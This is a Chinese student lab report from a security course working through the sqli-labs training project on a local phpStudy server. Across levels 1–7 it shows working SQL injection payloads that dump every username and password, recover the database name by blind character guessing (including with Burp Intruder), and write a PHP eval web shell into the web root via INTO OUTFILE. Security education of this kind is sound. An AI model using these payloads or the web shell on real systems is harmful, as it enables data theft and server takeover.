这是计算机系统安全课程的最后一次实验,主要是 sqli-lib 项目的实践,进行一些基础的 sql 注入测试。
实验步骤:
先下载安装小皮面板为平台
步骤1:小皮的网站上下载相应版本。

步骤2:小皮面板安装

步骤3:小皮客户端控制下载。

步骤4:安装

步骤5: 打开控制

步骤6:版本控制 5.X

步骤7:
创建网站

步骤8:
将sqli-lab-master复制进网站目录。默认:C:\phpstudy_pro\WWW

步骤9:
数据库连接设置

步骤10:

步骤11:执行setup/reset database for labs


第一关:
为了看清SQL语句的执行过程,在 源代码 index.php中,加入几句。

第1步:
id=1 顺利执行

此时SQL语句为:
SELECT * FROM users WHERE id='1' LIMIT 0,1
第2步:
id=1' 加上单引号后,出现语法错误 error in your SQL syntax
。说明SQL注入有戏。

此时SQL语句为:
SELECT * FROM users WHERE id='1'' LIMIT 0,1
第3步:
id=1' or 1=1 --+ 又可以正常执行了。

此时SQL语句为:
SELECT * FROM users WHERE id='1' or 1=1 -- ' LIMIT 0,1
(注意,这里的--后面有一个空格的)
第4步:
id=1' order by 4 --+

出现unknow column '4' in order calause 说明字段数小于4。
此时SQL语句为:
SELECT * FROM users WHERE id='1' order by 4 -- ' LIMIT 0,1
第5步:
id=1' order by 3 --+ 或id=1' order by 2 --+ 或id=1' order by 1 --+

都可以正常执行,说明字段数为3项
此时SQL语句为:
SELECT * FROM users WHERE id='1' order by 3 -- ' LIMIT 0,1
第6步:
id=1' union select 1,2,3 --+

可正常执行。但显示ID为1的用户的信息。
此时SQL语句为:
SELECT * FROM users WHERE id='1' union select 1,2,3 -- ' LIMIT
0,1
id=11111' union select 1,2,3 --+

也可正常执行。显示为2,3分别 放入login name 和password 中。
此时SQL语句为:
SELECT * FROM users WHERE id='1111' union select 1,2,3 -- ' LIMIT
0,1
第7步:
用一些函数来替代2和3。如:
id=1111' union select 1,database(),version()--+

可以得到 当前数据库的名字:security
数据库的版本信息:5.726-community
此时SQL语句为:
SELECT * FROM users WHERE id='1111' union select
1,database(),version() -- ' LIMIT 0,1
第8步:
再来一些函数
id=1111' union select null,table_schema,table_name from
information_schema.tables where table_schema='security' limit 0,1--+

可以得知:
security 数据库下的第一个表是 email表。
此时SQL语句为:
SELECT * FROM users WHERE id='1111' union select
null,table_schema,table_name from information_schema.tables where
table_schema='security' limit 0,1 -- ' LIMIT 0,1
再来,
id=1111' union select null,table_schema,table_name from
information_schema.tables where table_schema='security' limit 1,1--+

可以得知:
security 数据库下的第一个表是 referers表。
此时SQL语句为:
SELECT * FROM users WHERE id='1111' union select
null,table_schema,table_name from information_schema.tables where
table_schema='security' limit 1,1 -- ' LIMIT 0,1
再来:id=1111' union select null,table_schema,table_name from
information_schema.tables where table_schema='security' limit 2,1 --+

可以得知:
security 数据库下的第二个表是 usagents表。
此时SQL语句为:
SELECT * FROM users WHERE id='1111' union select
null,table_schema,table_name from information_schema.tables where
table_schema='security' limit 1,1 -- ' LIMIT 2,1
再来: id=1111' union select null,table_schema,table_name from
information_schema.tables where table_schema='security' limit 3,1 --+

可以得知:
security 数据库下的第三个表是 users表。(不正是我们前面用到的表)
此时SQL语句为:
SELECT * FROM users WHERE id='1111' union select
null,table_schema,table_name from information_schema.tables where
table_schema='security' limit 1,1 -- ' LIMIT 3,1
再来:

没有其他表了
此时SQL语句为:
SELECT * FROM users WHERE id='1111' union select
null,table_schema,table_name from information_schema.tables where
table_schema='security' limit 1,1 -- ' LIMIT 4,1
以上几个,如执行SQL语句(在MySQL Front数据库客户端),即差不多结果

第9步:使用group_concat 将内容连起来,并用||隔开。
id=1111' union select 1,group_concat('||',table_name),3 from
information_schema.tables where table_schema='security' --+

直接看到,security 数据库中的几张表。
此时SQL语句为:
SELECT * FROM users WHERE id='1111' union select
1,group_concat('||',table_name),3 from information_schema.tables
where table_schema='security' -- ' LIMIT 0,1
第10步:
再深入,查看表中详细内容。
id=1111' union select
1,group_concat('||',username,'~',password,'||'),3 from users
--+

已经可以看到users表中的每一个人的username 和password 信息了。
此时SQL语句为:
SELECT * FROM users WHERE id='1111' union select
1,group_concat('||',username,'~',password,'||'),3 from users
-- ' LIMIT 0,1
第二关:
还是那个ID 不过,这里的ID已经是整型数据类型 了
老方法,在index.php 中 添加 输出sql语句的代码。
先正常地输入ID看看。
?id=1

此时SQL语句为:
SELECT * FROM users WHERE id=1 LIMIT 0,1
可以发现,上面的SQL语句中,并没有什么 引号或单引号
第1步:
试试 ?id=5-4

此时SQL语句为:
SELECT * FROM users WHERE id=5-4 LIMIT 0,1
内容 ,与id=1一样,说明5-4(最后=1)被执行起来
第2步:
试试单引号:
id=1' 加上单引号后,出现语法错误 error in your SQL syntax
。说明语句被解析,注入有戏

此时SQL语句为:
SELECT * FROM users WHERE id=1' LIMIT 0,1
第3步:
试试 ?id=2 and 1=1

?id=2 and 1=2 --+

说明,1=1 和1=2 被正确引入,前者引入后,不影响结果,后者使结果为空
第4步
与第一关类似,引入 group_concat , 此时,注释 --+也可以不要了
id=1111 union select 1,group_concat(username,'---',password),3 from
users

此时SQL语句为:
SELECT * FROM users WHERE id=1111 union select
1,group_concat(username,'---',password),3 from users LIMIT 0,1
OK ,直接进第三关!
第三关:
同样方法,在index.php中添加查看SQL语句的代码。
第1步:
先试试正常id输入
id=1

此时SQL语句为:
SELECT * FROM users WHERE id=('1') LIMIT 0,1
可以看出,这里有将用户输入 的内容 用括号括起来
第2步
可以试着打一个单引号试试
id=1'

这里的我们把它的错误信息拎出来
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ''1'') LIMIT 0,1' at line 1
注意,这里这个不是双引号哦,而是两个单引号,
''1'') LIMIT 0,1'
第一个单引号和最后一个单引号是把它引起来的,第二个单引号是为了闭合第四个单引号的,第三个单引号是URL处输入的。
好,那么SQL语法错误的原因就是单引号未闭合(没有成双哦)
如果,我们多打一个单引号,就可以闭合,就可以避开SQL语法错误了。
Id=1'' 两个单引号哦

此时SQL语句为:
SELECT * FROM users WHERE id=('1''') LIMIT 0,1
第3步:
像第2步那样,我们的操作没有跳出id这个参数的范围,因为还有一个括号在。那我们先把这个括号闭合掉,然后加入SQL语句,再注释掉后面一个括号,当然还有那个单引号
如
?id=111') union select 1,2,3 from users --+
就变成了这样:

此时SQL语句为:
SELECT * FROM users WHERE id=('1111') union select 1,2,3 from users
-- ') LIMIT 0,1
或者:
id=1') union select 1,2,3 from users limit 1,1 --+

此时SQL语句为:
SELECT * FROM users WHERE id=('1') union select 1,2,3 from users
limit 1,1 -- ') LIMIT 0,1
即:
SELECT * FROM users WHERE id=('1') union select 1,2,3 from users
limit 1,1
第4步:
使用group_concat ,即将第2关最后一步的内容引入
id=111') union select 1,group_concat(username,'---',password),3
from users --+

此时SQL语句为:
SELECT * FROM users WHERE id=('111') union select
1,group_concat(username,'---',password),3 from users -- ') LIMIT
0,1
即:
SELECT * FROM users WHERE id=('111') union select
1,group_concat(username,'---',password),3 from users
第四关:
此关与第三关类似,只是将第三关的单引号,换成了双引号,括号仍保留。
于是id有
?id=111") union select 1,2,3 from users --+

又:
?id=1") union select 1,2,3 from users limit 1,1 --+

又:
id=111") union select 1,group_concat(username,'---',password),3
from users --+

第五关:
这一关,没有回显了,但操作还是照样
id=1

id=1'
加单引号

多加一个单引号,就不报错
id=1''

闭合一个单引号,注释掉后面的
id=1' --+

闭合一个单引号,再加上order by 语句,然后再注释掉后面的。
id=1' order by 1 --+

通过order by 后面的值,得到列数 为3 (因为4就错了)
id=1' order by 4 --+
去掉 order by 语句,
加上 union select 1,group_concat(username,'---',password),3 from
users --+
然而,能正常执行,但没有回显(依旧是 You are in ......)
id= 1' union select 1,group_concat(username,'-',password),3 from
users --+

但我们可以:
id=1' and length(database())>10 --+
通过比较:
http://192.168.3.71/sqli/Less-5/?id=1\' and length(database())>7 --+
和
http://192.168.3.71/sqli/Less-5/?id=1\' and length(database())>8 --+


得到database()的值,也就是数据库名,长度为8 (其实security 正是8个字符)
又 利用 left(database(),1)
构造:
http://192.168.3.71/sqli/Less-5/?id=1\' and left(database(),1)='a'--+
http://192.168.3.71/sqli/Less-5/?id=1\' and left(database(),1)='b'--+
http://192.168.3.71/sqli/Less-5/?id=1\' and left(database(),1)='c'--+
http://192.168.3.71/sqli/Less-5/?id=1\' and left(database(),1)='d'--+
......
(这里可以用burpsuite 等工具来搞定)
'a' 和's'的区别如下:


同理有:
http://192.168.3.71/sqli/Less-5/?id=1\' and
left(database(),2)='sa'--+
http://192.168.3.71/sqli/Less-5/?id=1\' and
left(database(),2)='sb'--+
...
http://192.168.3.71/sqli/Less-5/?id=1\' and
left(database(),3)='sea'--+
http://192.168.3.71/sqli/Less-5/?id=1\' and
left(database(),3)='seb'--+
...
http://192.168.3.71/sqli/Less-5/?id=1\' and
left(database(),4)='seca'--+
http://192.168.3.71/sqli/Less-5/?id=1\' and
left(database(),4)='secb'--+
...
http://192.168.3.71/sqli/Less-5/?id=1\' and
left(database(),5)='secua'--+
http://192.168.3.71/sqli/Less-5/?id=1\' and
left(database(),5)='secub'--+
...
http://192.168.3.71/sqli/Less-5/?id=1\' and
left(database(),6)='secura'--+
http://192.168.3.71/sqli/Less-5/?id=1\' and
left(database(),6)='securb'--+
...
http://192.168.3.71/sqli/Less-5/?id=1\' and
left(database(),7)='securia'--+
http://192.168.3.71/sqli/Less-5/?id=1\' and
left(database(),7)='securib'--+
...
http://192.168.3.71/sqli/Less-5/?id=1\' and
left(database(),8)='securita'--+
http://192.168.3.71/sqli/Less-5/?id=1\' and
left(database(),8)='securitb'--+
http://192.168.3.71/sqli/Less-5/?id=1\' and
left(database(),8)='security'--+
...
最后:
http://192.168.3.71/sqli/Less-5/?id=1\' and
left(database(),8)='security' --+

又如:
http://192.168.3.71/sqli/Less-5/?id=1\' and substr((select username from
users limit 0,1),1,1)='D' --+

直到:
http://192.168.3.71/sqli/Less-5/?id=1\' and substr((select username from
users limit 0,1),1,4)='Dumb' --+

第六关
本关与第五关类似,只是将单引号换成双引号
第七关:
当使用 id=1时

有outfile
单引号时id=1' 语法错

双引号时 id=1" 语法不错

说明单引号存在闭合问题
再试着
http://192.168.3.71/sqli/Less-7/?id=1\') --+
依旧是语法问题:

再试两个括号
http://192.168.3.71/sqli/Less-7/?id=1\')) --+

没有语法问题了
加上order by 语句
http://192.168.3.71/sqli/Less-7/?id=1\')) order by 3 --+

http://192.168.3.71/sqli/Less-7/?id=1\')) order by 4 --+

发现,当为假时,出现语法错误。
又
http://192.168.3.71/sqli/Less-7/?id=1\')) and 1=1 --+
和
http://192.168.3.71/sqli/Less-7/?id=1\')) and 1=2 --+


于是,我们可以从1=1 或1=2那个位置 来处理了。
但提示为有outfile,也就是说,我们这里可以写入文件。
当然,我们首选 写入一句话PHP木马
<?php @eval($_POST["sleep"]);?>
于是构造3列:
http://192.168.3.71/sqli/Less-7/?id=1\')) union select 1,2,'<?php
@eval($_POST["sleep"]);?>' into outfile
'C:\\phpstudy_pro\\WWW\\44.php' --+
注意 此处的路径有\\
此处路径与mysql 的一些设置有关,如mysql系统变量可设置成:
secure_file_priv="C:\phpstudy_pro\WWW\" 这个,在mysql.ini中
执行以后

请忽略页面上的语法错误提示
成功写入

用浏览器打开:

使用"菜刀"工具


使用burpsuite 来进行SQL注入
第1步,将浏览器的代理设置至burpsuite的 127.0.0.1 的8080端口

第2步
先用浏览器打开URL
http://192.168.3.71/sqli/Less-5/?id=1\' and left(database(),1)='a'--+

第3步
在burpsuite 的代理历史记录中,找到这个

第4步:
将此条记录发送到intruder中,send to intruder
此时intruder 中会多一个记录选项卡,
Target选项卡:

Positions 选项卡:
清除自动项

在字母a 也就是我们想要变化的地方,增加一个参数


添加字母 a-z 然后再添加A-Z,或可以加上0-9


开始攻击


攻击完成后,点一下length(也就是response 的长度),发现s
和S的长度与其他不同,(因为这里的大小写不敏感)
这样,也就是第一个字母为s (或S)
下一步,更改一下,
GET /sqli/Less-5/?id=1%27%20and%20left(database(),2)=%27s§a§%27--+
HTTP/1.1

可得第2个字母为e (或E)

可得第3个字母为c (或C)

可得第4个字母为u(或为U)
.......
GET
/sqli/Less-5/?id=1%27%20and%20left(database(),8)=%27securit§a§%27--+
HTTP/1.1
